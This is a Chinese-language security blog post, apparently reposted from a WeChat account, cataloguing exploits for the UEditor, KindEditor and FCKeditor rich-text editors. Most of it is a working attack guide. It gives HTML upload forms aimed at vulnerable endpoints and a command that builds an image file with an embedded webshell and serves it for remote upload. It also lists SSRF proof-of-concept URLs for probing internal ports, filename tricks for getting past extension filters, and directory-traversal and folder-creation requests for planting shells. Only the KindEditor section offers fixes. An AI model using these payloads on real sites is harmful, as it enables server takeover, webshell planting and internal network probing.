富文本编辑器漏洞整理

admin 2024年7月4日22:20:05评论5 views字数 6460阅读21分32秒阅读模式

一、UEditor

UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点。

.net版本文件上传漏洞‍‍

Ueditor编辑器.net版本存在任意文件上传漏洞,攻击者可精心构造环境上传文件,获取服务器管理权限。
影响范围:
UEditor V1.4.3.3

验证漏洞

访问:/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

显示如下图所示,说明存在漏洞‍‍‍‍‍‍‍

富文本编辑器漏洞整理

漏洞利用
1、可以使用post方式直接上传文件到目标网站
<form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"><p>shell addr:<input type="text" name="source[]" /></p ><input type="submit" value="Submit"/></form>

富文本编辑器漏洞整理

生成图片马
copy normal.jpg/b+shell.aspx/a shell.jpg
打开web服务
python -m SimpleHTTPServer 8888

在shelladdr中输入地址(两种方式)

http://XXXX:8888/shell.jpg?.aspxhttp://XXXX:8888/shell.jpg#.aspx

2、上传成功

富文本编辑器漏洞整理

3、小马地址:

http://ip:port/ueditor/net/upload/image/20201127/6374211044232448561123135.asp

4、连接到pony

富文本编辑器漏洞整理

SSRF

影响范围:

UEditor V1.4.3
exp
该版本的SSRF触发点:
/jsp/controller.jsp?action=catchimage&source[]=/jsp/getRemoteImage.jsp?upfile=/php/controller.php?action=catchimage&source[]=
所以可以构造出
http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png。
更多PoC:
/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

通过修改 source 参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。

提交后的返回信息很容易判断,只要 state 出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。

二、kindEditor
KindEditor是一套开源的HTML可视化编辑器,使用JavaScript编写,支持aspaspxphpjsp,几乎支持了所有的网站,该编辑器主要用于让用户在网站上获得所见即所得编辑效果,兼容IEFirefoxChromeSafariOpera等主流浏览器,非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用。
文件上传漏洞

漏洞描述

该编辑器支持上传功能,如果上传文件类型控制的不好,那么就能利用该漏洞上传恶意文件。
漏洞影响版本
kindeditor<=4.1.1

漏洞利用

访问如下路径判断是否有漏洞
kindeditor/asp/upload_json.asp?dir=filekindeditor/asp.net/upload_json.ashx?dir=filekindeditor/jsp/upload_json.jsp?dir=filekindeditor/php/upload_json.php?dir=file

富文本编辑器漏洞整理

点击上传文件选中html文件即可

富文本编辑器漏洞整理

上传成功后返回地址,访问即可

富文本编辑器漏洞整理
漏洞修复

1. 删除;即在不影响业务的情况下删除Kindeditor对应文件夹下删除upload_json和file_manager_json.

2. 修改;如果该功能还需使用,可修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、htmlhtm等文件类型,同时也要修改file_manager_json和upload_json两个文件名称,这样攻击者找不到对应的漏洞上传路径,就无法成功上传具有危害的文件了,最好修补方案还是删除upload_json和file_manager_json

3. 升级kindeditor到最新版本,其它方法有增加白/黑名单控制上传文件类型

三、FCKeditor漏洞总结
查看编辑器版本
FCKeditor/_whatsnew.html
1. Version 2.2 版本
   Apache+linux 环境下在上传文件后面加个.突破!测试通过。
2. Version <=2.4.2 For php
   在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!
以下保存为html文件,修改action地址。
<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>
3.FCKeditor 文件上传“.”变“_”下划线的绕过方法

很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。

(1)提交shell.php+空格绕过,不过空格只支持win 系统 *nix 是不支持的,[shell.php 和shell.php+空格是2个不同的文件未测试。

(2)继续上传同名文件可变为shell.php;(1).jpg ,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。

4、突破建立文件夹

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

5、FCKeditor中test文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.htmlFCKeditor/editor/filemanager/upload/test.htmlFCKeditor/editor/filemanager/connectors/test.htmlFCKeditor/editor/filemanager/connectors/uploadtest.html
6、常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.aspCommand=GetFoldersAndFiles&Type=Image&CurrentFolder=/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.aspFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.comFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
7、其他上传地址
FCKeditor/_samples/default.htmlFCKeditor/_samples/asp/sample01.aspFCKeditor/_samples/asp/sample02.aspFCKeditor/_samples/asp/sample03.aspFCKeditor/_samples/asp/sample04.asp

 一般很多站点都已删除_samples 目录,可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

8、列目录漏洞也可助找上传地址

   Version 2.4.1 测试通过修改CurrentFolder参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
9、爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
10、FCKeditor 被动限制策略所导致的过滤不严问题
影响版本
FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述
FCKeditor V2.4.3中File类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
FCKeditor 2.0<=2.2允许上传的文件类型:
asa、cer、php2、php4、inc、pwml、pht 

文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀.直接导致在win下在上传文件后面加个.来突破[未测试]!,而在apache下,因为Apache 文件名解析缺陷漏洞也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

11、最古老的漏洞,Type文件没有限制!

我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx的类型没有检查。我们可以直接构造上传把type=Image改成Type=hsren这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!

FCK编辑器jsp版本漏洞:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F
上传马所在目录:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

跟版本有关系,并不是百分百成功, 测试成功几个站,不能通杀,很遗憾。

http://www..com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
如果以上地址不行可以试试
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/ConnectorFCKeditor/_samples/FCKeditor/_samples/default.htmlFCKeditor/editor/fckeditor.htmFCKeditor/editor/fckdialog.html
12、文件上传利用脚本
影响版本:
fckeditor<=2.4.3
项目地址:https://github.com/shengshengli/FCKeditor-2.4.3--exp

富文本编辑器漏洞整理

原文始发于微信公众号(极星信安):富文本编辑器漏洞整理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日22:20:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   富文本编辑器漏洞整理https://cn-sec.com/archives/2919766.html

发表评论

匿名网友 填写信息